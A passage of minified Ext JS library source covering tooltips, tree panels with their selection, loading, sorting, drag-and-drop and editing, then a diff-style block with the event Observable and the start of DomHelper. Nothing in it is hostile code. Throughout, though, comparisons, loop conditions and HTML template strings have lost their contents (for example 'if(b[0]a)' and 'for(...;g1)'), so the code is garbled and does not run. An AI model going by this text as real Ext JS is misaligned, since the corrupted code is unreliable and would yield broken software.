Date();this.initTarget(this.target);this.origAnchor=this.anchor},onRender:function(b,a){Ext.ToolTip.superclass.onRender.call(this,b,a);this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl=this.el.createChild({cls:"x-tip-anchor "+this.anchorCls})},afterRender:function(){Ext.ToolTip.superclass.afterRender.call(this);this.anchorEl.setStyle("z-index",this.el.getZIndex()+1).setVisibilityMode(Ext.Element.DISPLAY)},initTarget:function(c){var a;if((a=Ext.get(c))){if(this.target){var b=Ext.get(this.target);this.mun(b,"mouseover",this.onTargetOver,this);this.mun(b,"mouseout",this.onTargetOut,this);this.mun(b,"mousemove",this.onMouseMove,this)}this.mon(a,{mouseover:this.onTargetOver,mouseout:this.onTargetOut,mousemove:this.onMouseMove,scope:this});this.target=a}if(this.anchor){this.anchorTarget=this.target}},onMouseMove:function(b){var a=this.delegate?b.getTarget(this.delegate):this.triggerElement=true;if(a){this.targetXY=b.getXY();if(a===this.triggerElement){if(!this.hidden&&this.trackMouse){this.setPagePosition(this.getTargetXY())}}else{this.hide();this.lastActive=new Date(0);this.onTargetOver(b)}}else{if(!this.closable&&this.isVisible()){this.hide()}}},getTargetXY:function(){if(this.delegate){this.anchorTarget=this.triggerElement}if(this.anchor){this.targetCounter++;var c=this.getOffsets(),l=(this.anchorToTarget&&!this.trackMouse)?this.el.getAlignToXY(this.anchorTarget,this.getAnchorAlign()):this.targetXY,a=Ext.lib.Dom.getViewWidth()-5,h=Ext.lib.Dom.getViewHeight()-5,i=document.documentElement,e=document.body,k=(i.scrollLeft||e.scrollLeft||0)+5,j=(i.scrollTop||e.scrollTop||0)+5,b=[l[0]+c[0],l[1]+c[1]],g=this.getSize();this.anchorEl.removeClass(this.anchorCls);if(this.targetCounter<2){if(b[0]a){if(this.anchorToTarget){this.defaultAlign="r-l";if(this.mouseOffset){this.mouseOffset[0]*=-1}}this.anchor="right";return this.getTargetXY()}if(b[1]h){if(this.anchorToTarget){this.defaultAlign="b-t";if(this.mouseOffset){this.mouseOffset[1]*=-1}}this.anchor="bottom";return this.getTargetXY()}}this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl.addClass(this.anchorCls);this.targetCounter=0;return b}else{var d=this.getMouseOffset();return[this.targetXY[0]+d[0],this.targetXY[1]+d[1]]}},getMouseOffset:function(){var a=this.anchor?[0,0]:[15,18];if(this.mouseOffset){a[0]+=this.mouseOffset[0];a[1]+=this.mouseOffset[1]}return a},getAnchorPosition:function(){if(this.anchor){this.tipAnchor=this.anchor.charAt(0)}else{var a=this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!a){throw"AnchorTip.defaultAlign is invalid"}this.tipAnchor=a[1].charAt(0)}switch(this.tipAnchor){case"t":return"top";case"b":return"bottom";case"r":return"right"}return"left"},getAnchorAlign:function(){switch(this.anchor){case"top":return"tl-bl";case"left":return"tl-tr";case"right":return"tr-tl";default:return"bl-tl"}},getOffsets:function(){var b,a=this.getAnchorPosition().charAt(0);if(this.anchorToTarget&&!this.trackMouse){switch(a){case"t":b=[0,9];break;case"b":b=[0,-13];break;case"r":b=[-13,0];break;default:b=[9,0];break}}else{switch(a){case"t":b=[-15-this.anchorOffset,30];break;case"b":b=[-19-this.anchorOffset,-13-this.el.dom.offsetHeight];break;case"r":b=[-15-this.el.dom.offsetWidth,-13-this.anchorOffset];break;default:b=[25,-13-this.anchorOffset];break}}var c=this.getMouseOffset();b[0]+=c[0];b[1]+=c[1];return b},onTargetOver:function(b){if(this.disabled||b.within(this.target.dom,true)){return}var a=b.getTarget(this.delegate);if(a){this.triggerElement=a;this.clearTimer("hide");this.targetXY=b.getXY();this.delayShow()}},delayShow:function(){if(this.hidden&&!this.showTimer){if(this.lastActive.getElapsed()=c){d=c-b-5}}return{x:a,y:d}},beforeDestroy:function(){this.clearTimers();Ext.destroy(this.anchorEl);delete this.anchorEl;delete this.target;delete this.anchorTarget;delete this.triggerElement;Ext.ToolTip.superclass.beforeDestroy.call(this)},onDestroy:function(){Ext.getDoc().un("mousedown",this.onDocMouseDown,this);Ext.ToolTip.superclass.onDestroy.call(this)}});Ext.reg("tooltip",Ext.ToolTip);Ext.QuickTip=Ext.extend(Ext.ToolTip,{interceptTitles:false,tagConfig:{namespace:"ext",attribute:"qtip",width:"qwidth",target:"target",title:"qtitle",hide:"hide",cls:"qclass",align:"qalign",anchor:"anchor"},initComponent:function(){this.target=this.target||Ext.getDoc();this.targets=this.targets||{};Ext.QuickTip.superclass.initComponent.call(this)},register:function(e){var h=Ext.isArray(e)?e:arguments;for(var g=0,a=h.length;g1){var d=function(i,h){if(i&&h){var j=h.findChild(a,b);if(j){j.select();if(g){g(true,j)}}else{if(g){g(false,j)}}}else{if(g){g(false,j)}}};this.expandPath(c.join(this.pathSeparator),a,d)}else{this.root.select();if(g){g(true,this.root)}}},getTreeEl:function(){return this.body},onRender:function(b,a){Ext.tree.TreePanel.superclass.onRender.call(this,b,a);this.el.addClass("x-tree");this.innerCt=this.body.createChild({tag:"ul",cls:"x-tree-root-ct "+(this.useArrows?"x-tree-arrows":this.lines?"x-tree-lines":"x-tree-no-lines")})},initEvents:function(){Ext.tree.TreePanel.superclass.initEvents.call(this);if(this.containerScroll){Ext.dd.ScrollManager.register(this.body)}if((this.enableDD||this.enableDrop)&&!this.dropZone){this.dropZone=new Ext.tree.TreeDropZone(this,this.dropConfig||{ddGroup:this.ddGroup||"TreeDD",appendOnly:this.ddAppendOnly===true})}if((this.enableDD||this.enableDrag)&&!this.dragZone){this.dragZone=new Ext.tree.TreeDragZone(this,this.dragConfig||{ddGroup:this.ddGroup||"TreeDD",scroll:this.ddScroll})}this.getSelectionModel().init(this)},afterRender:function(){Ext.tree.TreePanel.superclass.afterRender.call(this);this.renderRoot()},beforeDestroy:function(){if(this.rendered){Ext.dd.ScrollManager.unregister(this.body);Ext.destroy(this.dropZone,this.dragZone)}this.destroyRoot();Ext.destroy(this.loader);this.nodeHash=this.root=this.loader=null;Ext.tree.TreePanel.superclass.beforeDestroy.call(this)},destroyRoot:function(){if(this.root&&this.root.destroy){this.root.destroy(true)}}});Ext.tree.TreePanel.nodeTypes={};Ext.reg("treepanel",Ext.tree.TreePanel);Ext.tree.TreeEventModel=function(a){this.tree=a;this.tree.on("render",this.initEvents,this)};Ext.tree.TreeEventModel.prototype={initEvents:function(){var a=this.tree;if(a.trackMouseOver!==false){a.mon(a.innerCt,{scope:this,mouseover:this.delegateOver,mouseout:this.delegateOut})}a.mon(a.getTreeEl(),{scope:this,click:this.delegateClick,dblclick:this.delegateDblClick,contextmenu:this.delegateContextMenu})},getNode:function(b){var a;if(a=b.getTarget(".x-tree-node-el",10)){var c=Ext.fly(a,"_treeEvents").getAttribute("tree-node-id","ext");if(c){return this.tree.getNodeById(c)}}return null},getNodeTarget:function(b){var a=b.getTarget(".x-tree-node-icon",1);if(!a){a=b.getTarget(".x-tree-node-el",6)}return a},delegateOut:function(b,a){if(!this.beforeEvent(b)){return}if(b.getTarget(".x-tree-ec-icon",1)){var c=this.getNode(b);this.onIconOut(b,c);if(c==this.lastEcOver){delete this.lastEcOver}}if((a=this.getNodeTarget(b))&&!b.within(a,true)){this.onNodeOut(b,this.getNode(b))}},delegateOver:function(b,a){if(!this.beforeEvent(b)){return}if(Ext.isGecko&&!this.trackingDoc){Ext.getBody().on("mouseover",this.trackExit,this);this.trackingDoc=true}if(this.lastEcOver){this.onIconOut(b,this.lastEcOver);delete this.lastEcOver}if(b.getTarget(".x-tree-ec-icon",1)){this.lastEcOver=this.getNode(b);this.onIconOver(b,this.lastEcOver)}if(a=this.getNodeTarget(b)){this.onNodeOver(b,this.getNode(b))}},trackExit:function(a){if(this.lastOverNode){if(this.lastOverNode.ui&&!a.within(this.lastOverNode.ui.getEl())){this.onNodeOut(a,this.lastOverNode)}delete this.lastOverNode;Ext.getBody().un("mouseover",this.trackExit,this);this.trackingDoc=false}},delegateClick:function(b,a){if(this.beforeEvent(b)){if(b.getTarget("input[type=checkbox]",1)){this.onCheckboxClick(b,this.getNode(b))}else{if(b.getTarget(".x-tree-ec-icon",1)){this.onIconClick(b,this.getNode(b))}else{if(this.getNodeTarget(b)){this.onNodeClick(b,this.getNode(b))}}}}else{this.checkContainerEvent(b,"click")}},delegateDblClick:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeDblClick(b,this.getNode(b))}}else{this.checkContainerEvent(b,"dblclick")}},delegateContextMenu:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeContextMenu(b,this.getNode(b))}}else{this.checkContainerEvent(b,"contextmenu")}},checkContainerEvent:function(b,a){if(this.disabled){b.stopEvent();return false}this.onContainerEvent(b,a)},onContainerEvent:function(b,a){this.tree.fireEvent("container"+a,this.tree,b)},onNodeClick:function(b,a){a.ui.onClick(b)},onNodeOver:function(b,a){this.lastOverNode=a;a.ui.onOver(b)},onNodeOut:function(b,a){a.ui.onOut(b)},onIconOver:function(b,a){a.ui.addClass("x-tree-ec-over")},onIconOut:function(b,a){a.ui.removeClass("x-tree-ec-over")},onIconClick:function(b,a){a.ui.ecClick(b)},onCheckboxClick:function(b,a){a.ui.onCheckChange(b)},onNodeDblClick:function(b,a){a.ui.onDblClick(b)},onNodeContextMenu:function(b,a){a.ui.onContextMenu(b)},beforeEvent:function(b){var a=this.getNode(b);if(this.disabled||!a||!a.ui){b.stopEvent();return false}return true},disable:function(){this.disabled=true},enable:function(){this.disabled=false}};Ext.tree.DefaultSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNode=null;this.addEvents("selectionchange","beforeselect");Ext.apply(this,a);Ext.tree.DefaultSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){this.select(a)},select:function(c,a){if(!Ext.fly(c.ui.wrap).isVisible()&&a){return a.call(this,c)}var b=this.selNode;if(c==b){c.ui.onSelectedChange(true)}else{if(this.fireEvent("beforeselect",this,c,b)!==false){if(b&&b.ui){b.ui.onSelectedChange(false)}this.selNode=c;c.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,c,b)}}return c},unselect:function(b,a){if(this.selNode==b){this.clearSelections(a)}},clearSelections:function(a){var b=this.selNode;if(b){b.ui.onSelectedChange(false);this.selNode=null;if(a!==true){this.fireEvent("selectionchange",this,null)}}return b},getSelectedNode:function(){return this.selNode},isSelected:function(a){return this.selNode==a},selectPrevious:function(a){if(!(a=a||this.selNode||this.lastSelNode)){return null}var c=a.previousSibling;if(c){if(!c.isExpanded()||c.childNodes.length<1){return this.select(c,this.selectPrevious)}else{var b=c.lastChild;while(b&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()&&b.childNodes.length>0){b=b.lastChild}return this.select(b,this.selectPrevious)}}else{if(a.parentNode&&(this.tree.rootVisible||!a.parentNode.isRoot)){return this.select(a.parentNode,this.selectPrevious)}}return null},selectNext:function(b){if(!(b=b||this.selNode||this.lastSelNode)){return null}if(b.firstChild&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()){return this.select(b.firstChild,this.selectNext)}else{if(b.nextSibling){return this.select(b.nextSibling,this.selectNext)}else{if(b.parentNode){var a=null;b.parentNode.bubble(function(){if(this.nextSibling){a=this.getOwnerTree().selModel.select(this.nextSibling,this.selectNext);return false}});return a}}}return null},onKeyDown:function(c){var b=this.selNode||this.lastSelNode;var d=this;if(!b){return}var a=c.getKey();switch(a){case c.DOWN:c.stopEvent();this.selectNext();break;case c.UP:c.stopEvent();this.selectPrevious();break;case c.RIGHT:c.preventDefault();if(b.hasChildNodes()){if(!b.isExpanded()){b.expand()}else{if(b.firstChild){this.select(b.firstChild,c)}}}break;case c.LEFT:c.preventDefault();if(b.hasChildNodes()&&b.isExpanded()){b.collapse()}else{if(b.parentNode&&(this.tree.rootVisible||b.parentNode!=this.tree.getRootNode())){this.select(b.parentNode,c)}}break}}});Ext.tree.MultiSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNodes=[];this.selMap={};this.addEvents("selectionchange");Ext.apply(this,a);Ext.tree.MultiSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){if(b.ctrlKey&&this.isSelected(a)){this.unselect(a)}else{this.select(a,b,b.ctrlKey)}},select:function(a,c,b){if(b!==true){this.clearSelections(true)}if(this.isSelected(a)){this.lastSelNode=a;return a}this.selNodes.push(a);this.selMap[a.id]=a;this.lastSelNode=a;a.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,this.selNodes);return a},unselect:function(b){if(this.selMap[b.id]){b.ui.onSelectedChange(false);var c=this.selNodes;var a=c.indexOf(b);if(a!=-1){this.selNodes.splice(a,1)}delete this.selMap[b.id];this.fireEvent("selectionchange",this,this.selNodes)}},clearSelections:function(b){var d=this.selNodes;if(d.length>0){for(var c=0,a=d.length;c0},isExpandable:function(){return this.attributes.expandable||this.hasChildNodes()},appendChild:function(e){var g=false;if(Ext.isArray(e)){g=e}else{if(arguments.length>1){g=arguments}}if(g){for(var d=0,a=g.length;d0){var g=d?function(){e.apply(d,arguments)}:e;c.sort(g);for(var b=0;b
','',this.indentMarkup,"",'','',g?('':"/>")):"",'',e.text,"
",'',""].join("");if(l!==true&&e.nextSibling&&(b=e.nextSibling.ui.getEl())){this.wrap=Ext.DomHelper.insertHtml("beforeBegin",b,d)}else{this.wrap=Ext.DomHelper.insertHtml("beforeEnd",j,d)}this.elNode=this.wrap.childNodes[0];this.ctNode=this.wrap.childNodes[1];var i=this.elNode.childNodes;this.indentNode=i[0];this.ecNode=i[1];this.iconNode=i[2];var h=3;if(g){this.checkbox=i[3];this.checkbox.defaultChecked=this.checkbox.checked;h++}this.anchor=i[h];this.textNode=i[h].firstChild},getHref:function(a){return Ext.isEmpty(a)?(Ext.isGecko?"":"#"):a},getAnchor:function(){return this.anchor},getTextEl:function(){return this.textNode},getIconEl:function(){return this.iconNode},isChecked:function(){return this.checkbox?this.checkbox.checked:false},updateExpandIcon:function(){if(this.rendered){var g=this.node,d,c,a=g.isLast()?"x-tree-elbow-end":"x-tree-elbow",e=g.hasChildNodes();if(e||g.attributes.expandable){if(g.expanded){a+="-minus";d="x-tree-node-collapsed";c="x-tree-node-expanded"}else{a+="-plus";d="x-tree-node-expanded";c="x-tree-node-collapsed"}if(this.wasLeaf){this.removeClass("x-tree-node-leaf");this.wasLeaf=false}if(this.c1!=d||this.c2!=c){Ext.fly(this.elNode).replaceClass(d,c);this.c1=d;this.c2=c}}else{if(!this.wasLeaf){Ext.fly(this.elNode).replaceClass("x-tree-node-expanded","x-tree-node-collapsed");delete this.c1;delete this.c2;this.wasLeaf=true}}var b="x-tree-ec-icon "+a;if(this.ecc!=b){this.ecNode.className=b;this.ecc=b}}},onIdChange:function(a){if(this.rendered){this.elNode.setAttribute("ext:tree-node-id",a)}},getChildIndent:function(){if(!this.childIndent){var a=[],b=this.node;while(b){if(!b.isRoot||(b.isRoot&&b.ownerTree.rootVisible)){if(!b.isLast()){a.unshift('')}else{a.unshift('')}}b=b.parentNode}this.childIndent=a.join("")}return this.childIndent},renderIndent:function(){if(this.rendered){var a="",b=this.node.parentNode;if(b){a=b.ui.getChildIndent()}if(this.indentMarkup!=a){this.indentNode.innerHTML=a;this.indentMarkup=a}this.updateExpandIcon()}},destroy:function(){if(this.elNode){Ext.dd.Registry.unregister(this.elNode.id)}Ext.each(["textnode","anchor","checkbox","indentNode","ecNode","iconNode","elNode","ctNode","wrap","holder"],function(a){if(this[a]){Ext.fly(this[a]).remove();delete this[a]}},this);delete this.node}});Ext.tree.RootTreeNodeUI=Ext.extend(Ext.tree.TreeNodeUI,{render:function(){if(!this.rendered){var a=this.node.ownerTree.innerCt.dom;this.node.expanded=true;a.innerHTML='
';this.wrap=this.ctNode=a.firstChild}},collapse:Ext.emptyFn,expand:Ext.emptyFn});Ext.tree.TreeLoader=function(a){this.baseParams={};Ext.apply(this,a);this.addEvents("beforeload","load","loadexception");Ext.tree.TreeLoader.superclass.constructor.call(this);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}};Ext.extend(Ext.tree.TreeLoader,Ext.util.Observable,{uiProviders:{},clearOnLoad:true,paramOrder:undefined,paramsAsHash:false,nodeParameter:"node",directFn:undefined,load:function(b,c,a){if(this.clearOnLoad){while(b.firstChild){b.removeChild(b.firstChild)}}if(this.doPreload(b)){this.runCallback(c,a||b,[b])}else{if(this.directFn||this.dataUrl||this.url){this.requestData(b,c,a||b)}}},doPreload:function(d){if(d.attributes.children){if(d.childNodes.length<1){var c=d.attributes.children;d.beginUpdate();for(var b=0,a=c.length;b-1){c=[]}for(var d=0,a=b.length;dp){return e?-1:1}}return 0}},doSort:function(a){a.sort(this.sortFn)},updateSort:function(a,b){if(b.childrenRendered){this.doSort.defer(1,this,[b])}},updateSortParent:function(a){var b=a.parentNode;if(b&&b.childrenRendered){this.doSort.defer(1,this,[b])}}});if(Ext.dd.DropZone){Ext.tree.TreeDropZone=function(a,b){this.allowParentInsert=b.allowParentInsert||false;this.allowContainerDrop=b.allowContainerDrop||false;this.appendOnly=b.appendOnly||false;Ext.tree.TreeDropZone.superclass.constructor.call(this,a.getTreeEl(),b);this.tree=a;this.dragOverData={};this.lastInsertClass="x-tree-no-status"};Ext.extend(Ext.tree.TreeDropZone,Ext.dd.DropZone,{ddGroup:"TreeDD",expandDelay:1000,expandNode:function(a){if(a.hasChildNodes()&&!a.isExpanded()){a.expand(false,null,this.triggerCacheRefresh.createDelegate(this))}},queueExpand:function(a){this.expandProcId=this.expandNode.defer(this.expandDelay,this,[a])},cancelExpand:function(){if(this.expandProcId){clearTimeout(this.expandProcId);this.expandProcId=false}},isValidDropPoint:function(a,k,i,d,c){if(!a||!c){return false}var g=a.node;var h=c.node;if(!(g&&g.isTarget&&k)){return false}if(k=="append"&&g.allowChildren===false){return false}if((k=="above"||k=="below")&&(g.parentNode&&g.parentNode.allowChildren===false)){return false}if(h&&(g==h||h.contains(g))){return false}var b=this.dragOverData;b.tree=this.tree;b.target=g;b.data=c;b.point=k;b.source=i;b.rawEvent=d;b.dropNode=h;b.cancel=false;var j=this.tree.fireEvent("nodedragover",b);return b.cancel===false&&j!==false},getDropPoint:function(h,g,l){var m=g.node;if(m.isRoot){return m.allowChildren!==false?"append":false}var c=g.ddel;var o=Ext.lib.Dom.getY(c),j=o+c.offsetHeight;var i=Ext.lib.Event.getPageY(h);var k=m.allowChildren===false||m.isLeaf();if(this.appendOnly||m.parentNode.allowChildren===false){return k?false:"append"}var d=false;if(!this.allowParentInsert){d=m.hasChildNodes()&&m.isExpanded()}var a=(j-o)/(k?2:3);if(i>=o&&i<(o+a)){return"above"}else{if(!d&&(k||i>=j-a&&i<=j)){return"below"}else{return"append"}}},onNodeEnter:function(d,a,c,b){this.cancelExpand()},onContainerOver:function(a,c,b){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,c,b)){return this.dropAllowed}return this.dropNotAllowed},onNodeOver:function(b,i,h,g){var k=this.getDropPoint(h,b,i);var c=b.node;if(!this.expandProcId&&k=="append"&&c.hasChildNodes()&&!b.node.isExpanded()){this.queueExpand(c)}else{if(k!="append"){this.cancelExpand()}}var d=this.dropNotAllowed;if(this.isValidDropPoint(b,k,i,h,g)){if(k){var a=b.ddel;var j;if(k=="above"){d=b.node.isFirst()?"x-tree-drop-ok-above":"x-tree-drop-ok-between";j="x-tree-drag-insert-above"}else{if(k=="below"){d=b.node.isLast()?"x-tree-drop-ok-below":"x-tree-drop-ok-between";j="x-tree-drag-insert-below"}else{d="x-tree-drop-ok-append";j="x-tree-drag-append"}}if(this.lastInsertClass!=j){Ext.fly(a).replaceClass(this.lastInsertClass,j);this.lastInsertClass=j}}}return d},onNodeOut:function(d,a,c,b){this.cancelExpand();this.removeDropIndicators(d)},onNodeDrop:function(i,b,h,d){var a=this.getDropPoint(h,i,b);var g=i.node;g.ui.startDrop();if(!this.isValidDropPoint(i,a,b,h,d)){g.ui.endDrop();return false}var c=d.node||(b.getTreeNode?b.getTreeNode(d,g,a,h):null);return this.processDrop(g,d,a,b,h,c)},onContainerDrop:function(a,g,c){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,g,c)){var d=this.tree.getRootNode();d.ui.startDrop();var b=c.node||(a.getTreeNode?a.getTreeNode(c,d,"append",g):null);return this.processDrop(d,c,"append",a,g,b)}return false},processDrop:function(j,h,b,a,i,d){var g={tree:this.tree,target:j,data:h,point:b,source:a,rawEvent:i,dropNode:d,cancel:!d,dropStatus:false};var c=this.tree.fireEvent("beforenodedrop",g);if(c===false||g.cancel===true||!g.dropNode){j.ui.endDrop();return g.dropStatus}j=g.target;if(b=="append"&&!j.isExpanded()){j.expand(false,null,function(){this.completeDrop(g)}.createDelegate(this))}else{this.completeDrop(g)}return true},completeDrop:function(h){var d=h.dropNode,e=h.point,c=h.target;if(!Ext.isArray(d)){d=[d]}var g;for(var b=0,a=d.length;bd.offsetLeft){e.scrollLeft=d.offsetLeft}var a=Math.min(this.maxWidth,(e.clientWidth>20?e.clientWidth:e.offsetWidth)-Math.max(0,d.offsetLeft-e.scrollLeft)-5);this.setSize(a,"")},triggerEdit:function(a,c){this.completeEdit();if(a.attributes.editable!==false){this.editNode=a;if(this.tree.autoScroll){Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body)}var b=a.text||"";if(!Ext.isGecko&&Ext.isEmpty(a.text)){a.setText(" ")}this.autoEditTimer=this.startEdit.defer(this.editDelay,this,[a.ui.textNode,b]);return false}},bindScroll:function(){this.tree.getTreeEl().on("scroll",this.cancelEdit,this)},beforeNodeClick:function(a,b){clearTimeout(this.autoEditTimer);if(this.tree.getSelectionModel().isSelected(a)){b.stopEvent();return this.triggerEdit(a)}},onNodeDblClick:function(a,b){clearTimeout(this.autoEditTimer)},updateNode:function(a,b){this.tree.getTreeEl().un("scroll",this.cancelEdit,this);this.editNode.setText(b)},onHide:function(){Ext.tree.TreeEditor.superclass.onHide.call(this);if(this.editNode){this.editNode.ui.focus.defer(50,this.editNode.ui)}},onSpecialKey:function(c,b){var a=b.getKey();if(a==b.ESC){b.stopEvent();this.cancelEdit()}else{if(a==b.ENTER&&!b.hasModifier()){b.stopEvent();this.completeEdit()}}},onDestroy:function(){clearTimeout(this.autoEditTimer);Ext.tree.TreeEditor.superclass.onDestroy.call(this);var a=this.tree;a.un("beforeclick",this.beforeNodeClick,this);a.un("dblclick",this.onNodeDblClick,this)}}); +(function () { + var h = Ext.util, j = Ext.each, g = true, i = false; + h.Observable = function () { + var k = this, l = k.events; + if (k.listeners) { + k.on(k.listeners); + delete k.listeners + } + k.events = l || {} + }; + h.Observable.prototype = {filterOptRe:/^(?:scope|delay|buffer|single)$/, fireEvent:function () { + var k = Array.prototype.slice.call(arguments, 0), m = k[0].toLowerCase(), n = this, l = g, p = n.events[m], s, o, r; + if (n.eventsSuspended === g) { + if (o = n.eventQueue) { + o.push(k) + } + } else { + if (typeof p == "object") { + if (p.bubble) { + if (p.fire.apply(p, k.slice(1)) === i) { + return i + } + r = n.getBubbleTarget && n.getBubbleTarget(); + if (r && r.enableBubble) { + s = r.events[m]; + if (!s || typeof s != "object" || !s.bubble) { + r.enableBubble(m) + } + return r.fireEvent.apply(r, k) + } + } else { + k.shift(); + l = p.fire.apply(p, k) + } + } + } + return l + }, addListener:function (k, m, l, r) { + var n = this, q, s, p; + if (typeof k == "object") { + r = k; + for (q in r) { + s = r[q]; + if (!n.filterOptRe.test(q)) { + n.addListener(q, s.fn || s, s.scope || r.scope, s.fn ? s : r) + } + } + } else { + k = k.toLowerCase(); + p = n.events[k] || g; + if (typeof p == "boolean") { + n.events[k] = p = new h.Event(n, k) + } + p.addListener(m, l, typeof r == "object" ? r : {}) + } + }, removeListener:function (k, m, l) { + var n = this.events[k.toLowerCase()]; + if (typeof n == "object") { + n.removeListener(m, l) + } + }, purgeListeners:function () { + var m = this.events, k, l; + for (l in m) { + k = m[l]; + if (typeof k == "object") { + k.clearListeners() + } + } + }, addEvents:function (n) { + var m = this; + m.events = m.events || {}; + if (typeof n == "string") { + var k = arguments, l = k.length; + while (l--) { + m.events[k[l]] = m.events[k[l]] || g + } + } else { + Ext.applyIf(m.events, n) + } + }, hasListener:function (k) { + var l = this.events[k.toLowerCase()]; + return typeof l == "object" && l.listeners.length > 0 + }, suspendEvents:function (k) { + this.eventsSuspended = g; + if (k && !this.eventQueue) { + this.eventQueue = [] + } + }, resumeEvents:function () { + var k = this, l = k.eventQueue || []; + k.eventsSuspended = i; + delete k.eventQueue; + j(l, function (m) { + k.fireEvent.apply(k, m) + }) + }}; + var d = h.Observable.prototype; + d.on = d.addListener; + d.un = d.removeListener; + h.Observable.releaseCapture = function (k) { + k.fireEvent = d.fireEvent + }; + function e(l, m, k) { + return function () { + if (m.target == arguments[0]) { + l.apply(k, Array.prototype.slice.call(arguments, 0)) + } + } + } + + function b(n, p, k, m) { + k.task = new h.DelayedTask(); + return function () { + k.task.delay(p.buffer, n, m, Array.prototype.slice.call(arguments, 0)) + } + } + + function c(m, n, l, k) { + return function () { + n.removeListener(l, k); + return m.apply(k, arguments) + } + } + + function a(n, p, k, m) { + return function () { + var l = new h.DelayedTask(), o = Array.prototype.slice.call(arguments, 0); + if (!k.tasks) { + k.tasks = [] + } + k.tasks.push(l); + l.delay(p.delay || 10, function () { + k.tasks.remove(l); + n.apply(m, o) + }, m) + } + } + + h.Event = function (l, k) { + this.name = k; + this.obj = l; + this.listeners = [] + }; + h.Event.prototype = {addListener:function (o, n, m) { + var p = this, k; + n = n || p.obj; + if (!p.isListening(o, n)) { + k = p.createListener(o, n, m); + if (p.firing) { + p.listeners = p.listeners.slice(0) + } + p.listeners.push(k) + } + }, createListener:function (p, n, q) { + q = q || {}; + n = n || this.obj; + var k = {fn:p, scope:n, options:q}, m = p; + if (q.target) { + m = e(m, q, n) + } + if (q.delay) { + m = a(m, q, k, n) + } + if (q.single) { + m = c(m, this, p, n) + } + if (q.buffer) { + m = b(m, q, k, n) + } + k.fireFn = m; + return k + }, findListener:function (o, n) { + var p = this.listeners, m = p.length, k; + n = n || this.obj; + while (m--) { + k = p[m]; + if (k) { + if (k.fn == o && k.scope == n) { + return m + } + } + } + return -1 + }, isListening:function (l, k) { + return this.findListener(l, k) != -1 + }, removeListener:function (r, q) { + var p, m, n, s = this, o = i; + if ((p = s.findListener(r, q)) != -1) { + if (s.firing) { + s.listeners = s.listeners.slice(0) + } + m = s.listeners[p]; + if (m.task) { + m.task.cancel(); + delete m.task + } + n = m.tasks && m.tasks.length; + if (n) { + while (n--) { + m.tasks[n].cancel() + } + delete m.tasks + } + s.listeners.splice(p, 1); + o = g + } + return o + }, clearListeners:function () { + var n = this, k = n.listeners, m = k.length; + while (m--) { + n.removeListener(k[m].fn, k[m].scope) + } + }, fire:function () { + var q = this, p = q.listeners, k = p.length, o = 0, m; + if (k > 0) { + q.firing = g; + var n = Array.prototype.slice.call(arguments, 0); + for (; o < k; o++) { + m = p[o]; + if (m && m.fireFn.apply(m.scope || q.obj || window, n) === i) { + return(q.firing = i) + } + } + } + q.firing = i; + return g + }} +})(); +Ext.DomHelper = function () { + var x = null, k = /^(?:br|frame|hr|img|input|link|meta|range|spacer|wbr|area|param|col)$/i, m = /^table|tbody|tr|td$/i, d = /tag|children|cn|html$/i, t = /td|tr|tbody/i, o = /([a-z0-9-]+)\s*:\s*([^;\s]+(?:\s*[^;\s]+)*);?/gi, v = /end/i, r, n = "afterbegin", p = "afterend", c = "beforebegin", q = "beforeend", a = "", i = "
", b = a + "", j = "" + i, l = b + "", w = "" + j; + + function h(B, D, C, E, A, y) { + var z = r.insertHtml(E, Ext.getDom(B), u(D)); + return C ? Ext.get(z, true) : z + } + + function u(D) { + var z = "", y, C, B, E; + if (typeof D == "string") { + z = D + } else { + if (Ext.isArray(D)) { + for (var A = 0; A < D.length; A++) { + if (D[A]) { + z += u(D[A]) + } + } + } else { + z += "<" + (D.tag = D.tag || "div"); + for (y in D) { + C = D[y]; + if (!d.test(y)) { + if (typeof C == "object") { + z += " " + y + '="'; + for (B in C) { + z += B + ":" + C[B] + ";" + } + z += '"' + } else { + z += " " + ({cls:"class", htmlFor:"for"}[y] || y) + '="' + C + '"' + } + } + } + if (k.test(D.tag)) { + z += "/>" + } else { + z += ">"; + if ((E = D.children || D.cn)) { + z += u(E) + } else { + if (D.html) { + z += D.html + } + } + z += "" + } + } + } + return z + } + + function g(F, C, B, D) { + x.innerHTML = [C, B, D].join(""); + var y = -1, A = x, z; + while (++y < F) { + A = A.firstChild + } + if (z = A.nextSibling) { + var E = document.createDocumentFragment(); + while (A) { + z = A.nextSibling; + E.appendChild(A); + A = z + } + A = E + } + return A + } + + function e(y, z, B, A) { + var C, D; + x = x || document.createElement("div"); + if (y == "td" && (z == n || z == q) || !t.test(y) && (z == c || z == p)) { + return + } + D = z == c ? B : z == p ? B.nextSibling : z == n ? B.firstChild : null; + if (z == c || z == p) { + B = B.parentNode + } + if (y == "td" || (y == "tr" && (z == q || z == n))) { + C = g(4, l, A, w) + } else { + if ((y == "tbody" && (z == q || z == n)) || (y == "tr" && (z == c || z == p))) { + C = g(3, b, A, j) + } else { + C = g(2, a, A, i) + } + } + B.insertBefore(C, D); + return C + } + + function s(A) { + var D = document.createElement("div"), y = document.createDocumentFragment(), z = 